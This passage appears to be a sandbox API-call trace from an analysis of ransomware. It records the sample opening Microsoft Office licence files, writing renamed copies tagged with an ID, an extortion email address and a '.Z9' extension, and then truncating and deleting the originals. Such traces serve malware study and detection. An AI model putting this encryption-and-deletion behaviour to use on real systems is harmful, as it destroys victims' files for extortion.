	[0178.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1
	[0178.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.710] lstrlenW (lpString=".doc") returned 4
	[0178.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.710] lstrlenW (lpString=".docx") returned 5
	[0178.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.710] lstrlenW (lpString=".pdf") returned 4
	[0178.710] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.710] lstrlenW (lpString=".xls") returned 4
	[0178.710] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.710] lstrlenW (lpString=".xlsx") returned 5
	[0178.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.710] lstrlenW (lpString=".ppt") returned 4
	[0178.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.710] lstrlenW (lpString=".zip") returned 4
	[0178.710] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.710] lstrlenW (lpString=".rar") returned 4
	[0178.710] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString=".bz2") returned 4
	[0178.711] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString=".7z") returned 3
	[0178.711] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.711] lstrlenW (lpString=".dbf") returned 4
	[0178.711] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.711] lstrlenW (lpString=".1cd") returned 4
	[0178.711] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.711] lstrlenW (lpString=".jpg") returned 4
	[0178.711] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.711] lstrlenW (lpString=".doc") returned 4
	[0178.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString=".docx") returned 5
	[0178.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.711] lstrlenW (lpString=".pdf") returned 4
	[0178.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.711] lstrlenW (lpString=".xls") returned 4
	[0178.712] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString=".xlsx") returned 5
	[0178.712] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.712] lstrlenW (lpString=".ppt") returned 4
	[0178.712] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.712] lstrlenW (lpString=".zip") returned 4
	[0178.712] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString=".rar") returned 4
	[0178.712] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString=".bz2") returned 4
	[0178.712] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString=".7z") returned 3
	[0178.712] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.712] lstrlenW (lpString=".dbf") returned 4
	[0178.712] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.712] lstrlenW (lpString=".1cd") returned 4
	[0178.712] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84
	[0178.712] lstrlenW (lpString=".jpg") returned 4
	[0178.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.713] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.713] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37
	[0178.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.715] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11621) returned 1
	[0178.715] CloseHandle (hObject=0x54c) returned 1
	[0178.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220
	[0178.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0179.041] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.041] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0179.042] GetLastError () returned 0x0
	[0179.042] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0179.044] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.046] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.046] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.046] SetEndOfFile (hFile=0x4bc) returned 1
	[0179.046] CloseHandle (hObject=0x4bc) returned 1
	[0179.046] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.046] SetEndOfFile (hFile=0x538) returned 1
	[0179.050] CloseHandle (hObject=0x538) returned 1
	[0179.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1
	[0179.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.052] lstrlenW (lpString=".doc") returned 4
	[0179.052] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".docx") returned 5
	[0179.052] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.052] lstrlenW (lpString=".pdf") returned 4
	[0179.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".xls") returned 4
	[0179.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".xlsx") returned 5
	[0179.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.052] lstrlenW (lpString=".ppt") returned 4
	[0179.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.052] lstrlenW (lpString=".zip") returned 4
	[0179.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".rar") returned 4
	[0179.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".bz2") returned 4
	[0179.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.052] lstrlenW (lpString=".7z") returned 3
	[0179.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.052] lstrlenW (lpString=".dbf") returned 4
	[0179.053] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.053] lstrlenW (lpString=".1cd") returned 4
	[0179.053] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.053] lstrlenW (lpString=".jpg") returned 4
	[0179.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.053] lstrlenW (lpString=".doc") returned 4
	[0179.053] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".docx") returned 5
	[0179.053] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.053] lstrlenW (lpString=".pdf") returned 4
	[0179.053] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".xls") returned 4
	[0179.053] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".xlsx") returned 5
	[0179.053] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.053] lstrlenW (lpString=".ppt") returned 4
	[0179.053] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.053] lstrlenW (lpString=".zip") returned 4
	[0179.053] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".rar") returned 4
	[0179.053] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".bz2") returned 4
	[0179.053] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.053] lstrlenW (lpString=".7z") returned 3
	[0179.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.054] lstrlenW (lpString=".dbf") returned 4
	[0179.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.054] lstrlenW (lpString=".1cd") returned 4
	[0179.054] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0179.054] lstrlenW (lpString=".jpg") returned 4
	[0179.054] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.054] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.054] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 33
	[0179.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0179.055] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10667) returned 1
	[0179.055] CloseHandle (hObject=0x538) returned 1
	[0179.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 0x220
	[0179.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0179.056] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.056] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0179.057] GetLastError () returned 0x0
	[0179.057] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0179.059] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0179.061] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.061] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.061] SetEndOfFile (hFile=0x4bc) returned 1
	[0179.061] CloseHandle (hObject=0x4bc) returned 1
	[0179.061] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.061] SetEndOfFile (hFile=0x538) returned 1
	[0179.065] CloseHandle (hObject=0x538) returned 1
	[0179.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1
	[0179.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.067] lstrlenW (lpString=".doc") returned 4
	[0179.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.067] lstrlenW (lpString=".docx") returned 5
	[0179.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.068] lstrlenW (lpString=".pdf") returned 4
	[0179.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString=".xls") returned 4
	[0179.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString=".xlsx") returned 5
	[0179.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.068] lstrlenW (lpString=".ppt") returned 4
	[0179.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.068] lstrlenW (lpString=".zip") returned 4
	[0179.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString=".rar") returned 4
	[0179.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString=".bz2") returned 4
	[0179.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString=".7z") returned 3
	[0179.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.068] lstrlenW (lpString=".dbf") returned 4
	[0179.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.068] lstrlenW (lpString=".1cd") returned 4
	[0179.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.069] lstrlenW (lpString=".jpg") returned 4
	[0179.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.069] lstrlenW (lpString=".doc") returned 4
	[0179.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".docx") returned 5
	[0179.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.069] lstrlenW (lpString=".pdf") returned 4
	[0179.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".xls") returned 4
	[0179.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".xlsx") returned 5
	[0179.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.069] lstrlenW (lpString=".ppt") returned 4
	[0179.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.069] lstrlenW (lpString=".zip") returned 4
	[0179.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".rar") returned 4
	[0179.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".bz2") returned 4
	[0179.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString=".7z") returned 3
	[0179.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.069] lstrlenW (lpString=".dbf") returned 4
	[0179.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.070] lstrlenW (lpString=".1cd") returned 4
	[0179.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0179.070] lstrlenW (lpString=".jpg") returned 4
	[0179.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.070] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34
	[0179.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0179.071] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=22094) returned 1
	[0179.071] CloseHandle (hObject=0x538) returned 1
	[0179.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220
	[0179.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0179.072] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.072] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
